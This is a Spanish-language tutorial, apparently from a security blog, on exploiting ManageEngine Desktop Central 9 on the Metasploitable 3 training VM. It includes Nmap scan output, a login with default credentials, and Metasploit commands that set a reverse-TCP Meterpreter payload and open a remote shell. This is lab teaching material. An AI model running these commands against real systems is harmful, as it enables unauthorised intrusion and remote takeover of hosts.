En el último tutorial de hacking, hemos visto como obtener contraseñas de cualquier servidor SSH mediante fuerza bruta. Una de las aplicaciones vulnerables en Metasploitable 3 es ManageEngine Desktop Central 9. Esta versión de ManageEngine Desktop Central 9 contiene varias vulnerabilidades que nos permiten cargar archivos y ejecutar comandos en el sistema de destino. El proveedor ha reparado ambas vulnerabilidades en versiones posteriores. Antes de comenzar a explotar estas vulnerabilidades, veamos para qué se utiliza ManageEngine Desktop Central 9.
ManageEngine Desktop Central es una aplicación integrada de administración de dispositivos móviles y de escritorio que ayuda a los administradores de sistemas a administrar servidores, dispositivos de clientes y dispositivos móviles desde una ubicación central. El software incluye funcionalidad para la administración de parches, la implementación de software, el control remoto y muchas otras características para administrar los recursos y la configuración de TI. ManageEngine Desktop Central se administra a través de una aplicación web que se ejecuta en el puerto 8022 en Metasploitable 3.
· Explotación de ManageEngine Desktop Central 9
Comencemos con la ejecución de un escaneo con Nmap en el destino Metasploitable 3 para obtener una visión general de los servicios que se ejecutan en esta máquina. En lugar de escanear el rango de los mil puertos comunes de Nmap, ejecutaremos el escaneo en todos los 65.536 puertos TCP agregando el indicador -p- al comando. Inicie el escaneo ejecutando el siguiente comando:
$ nmap -sV -p- $IP (La ip de la máquia objetivo)
Y obtenemos lo siguiente:
$ nmap -sV -p- 192.168.0.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-15 06:37 -05
Nmap scan report for 192.168.0.3
Host is up (0.00095s latency).
Not shown: 65486 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1617/tcp open rmiregistry Java RMI
3000/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.3 (2016-11-21))
3306/tcp open mysql MySQL 5.5.20-log
3389/tcp open ms-wbt-server Microsoft Terminal Service
3700/tcp open giop CORBA naming service
3820/tcp open ssl/giop CORBA naming service
3920/tcp open ssl/exasoftport1?
4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp open java-message-service Java Message Service 301
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8019/tcp open qbdb?
8020/tcp open http Apache httpd
8022/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8027/tcp open unknown
8028/tcp open postgresql PostgreSQL DB
8031/tcp open ssl/unknown
8032/tcp open desktop-central ManageEngine Desktop Central DesktopCentralServer
8080/tcp open http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8181/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8282/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8383/tcp open ssl/http Apache httpd
8443/tcp open ssl/https-alt?
8444/tcp open desktop-central ManageEngine Desktop Central DesktopCentralServer
8484/tcp open http Jetty winstone-2.8
8585/tcp open http Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
8686/tcp open rmiregistry Java RMI
9200/tcp open http Elasticsearch REST API 1.1.1 (name: Hitman; Lucene 4.7)
9300/tcp open vrace?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open unknown
49160/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
49184/tcp open rmiregistry Java RMI
49210/tcp open tcpwrapped
49266/tcp open ssh Apache Mina sshd 0.8.0 (protocol 2.0)
49269/tcp open jenkins-listener Jenkins TcpSlaveAgentListener
49322/tcp open rmiregistry Java RMI
49325/tcp open unknown
49326/tcp open unknown
49327/tcp open unknown
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; Device: remote management; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 262.03 seconds
Los resultados del análisis indican que la máquina Metasploitable 3 están ejecutando muchos servicios, incluido un servicio Apache Tomcat en el puerto 8022.
· Accediendo a la interfaz de administración de Desktop Central
Verifiquemos que Apache está ejecutando la interfaz web de ManageEngine Desktop Central 9 accediendo a la siguiente URL desde un navegador:
http://192.168.0.3:8022/
Cuando accedemos a la URL utilizando el navegador, se nos presenta una página de inicio de sesión. El formulario de inicio de sesión en el lado derecho de la página indica las credenciales predeterminadas. Solo tenemos que presionar el botón 'Iniciar sesión' porque las credenciales ya se han ingresado en el inicio de sesión:
Al hacer clic en el botón 'Iniciar sesión' nos lleva a la página de administrador de Desktop Central 9.
A partir de este momento, debería ser fácil convertir este nuevo nivel de acceso en un shell en la máquina de destino. Por lo general, esto puede hacerse localizando vulnerabilidades conocidas o (mal) utilizando la funcionalidad predeterminada en este software. Especialmente en aplicaciones sensibles y ricas en funciones como Desktop Central, esto no debería ser demasiado difícil. Para convertir la funcionalidad normal en un shell, deberíamos buscar funcionalidad para cargar archivos, instalar complementos, editar archivos del sistema y cualquier otra cosa que nos permita ejecutar código o comandos en el sistema de destino.
- Buscando información interesante
Otro paso importante a tomar en este punto es buscar información (sensible) interesante sobre este nivel de acceso renovado. La información interesante es información que puede ayudarnos más en el proceso de identificación de vulnerabilidades y en el proceso de explotación. Ejemplos de información interesante son la versión y los números de compilación, las credenciales, las notas del administrador, los tickets, los parámetros de configuración, la información del sistema y cualquier otra información que nos diga algo interesante sobre el objetivo.
En el encabezado del panel de administración podemos encontrar la versión y los números de compilación: ManageEngine Desktop Central 9 Build 91084. Esta es una gran información que podemos usar para buscar vulnerabilidades conocidas para esta versión específica y compilación de Desktop Central 9.
Cuando buscamos en Google vulnerabilidades conocidas para esta versión de Desktop Central y explotamos el código, terminamos rápidamente en la siguiente página del sitio web de Rapid 7:
https://www.rapid7.com/db/modules/exploit/windows/http/manageengine_con…
Como podemos ver, la versión y el número de compilación coinciden exactamente con los números en el panel de administración. Ahora ejecutaremos metasploit.
· Explotando Desktop Central 9 con Metasploit
En los siguientes pasos, obtendremos acceso de shell en la máquina Metasploitable 3. Vamos a encender Metasploit ejecutando el siguiente comando:
$ msfconsole
Ejecute el siguiente comando en msfconsole para seleccionar la vulnerabilidad de ManageEngine Desktop Central que hemos encontrado anteriormente en el sitio web de Rapid 7:
msf > use exploit/windows/http/manageengine_connectionid_write
El comando 'options' revela que tenemos que configurar 3 opciones requeridas:
- RHOST: IP host de destino
- RPORT: El puerto en el que se está ejecutando la interfaz web de ManageEngine Desktop Central.
- TARGETURI: la ruta base para la interfaz web de ManageEngine Desktop Central.
Mantendremos el valor de targeturi predeterminado. Esto requiere que solo configuremos el parámetro de host y puerto de destino ejecutando los siguientes comandos:
msf exploit(windows/http/manageengine_connectionid_write) > set rport 8022
rport => 8022
msf exploit(windows/http/manageengine_connectionid_write) > set rhost 192.168.0.3
rhost => 192.168.0.3
Finalmente especificamos la carga útil (payload) y sus campos requeridos con los siguientes comandos:
msf exploit(windows/http/manageengine_connectionid_write) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/http/manageengine_connectionid_write) > set lhost 192.168.0.5
lhost => 192.168.0.5
Finalmente escriba "run" para ejecutar el exploit.
msf exploit(windows/http/manageengine_connectionid_write) > run
[*] Started reverse TCP handler on 192.168.0.5:4444
[*] Creating JSP stager
[*] Uploading JSP stager fnUWy.jsp...
[*] Executing stager...
[*] Sending stage (179779 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.5:4444 -> 192.168.0.3:49644) at 2018-10-15 07:31:07 -0500
[!] This exploit may require manual cleanup of '../webapps/DesktopCentral/jspf/fnUWy.jsp' on the target
[+] Deleted ../webapps/DesktopCentral/jspf/fnUWy.jsp
meterpreter >
Si todo fue exitoso, ahora tenemos un shell en el host Metasploitable 3. Desde este punto, podemos trabajar en la escalada de privilegios y ejecutar técnicas posteriores a la explotación. Las máquinas Metasploitable 3 contienen muchas más vulnerabilidades que vamos a explotar en los próximos tutoriales.
Síguenos en Facebook, Twitter, unete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.
Acerca del autor

Especialista en Seguridad Informática. Fundador de Security Hack Labs. Desarrollador de BlackArch Linux y creador de Findomain. Twitter: @edu4rdshl XMPP: edu4rdshl@conversations.im Threema ID: 736WU8VV
- Inicie sesión para enviar comentarios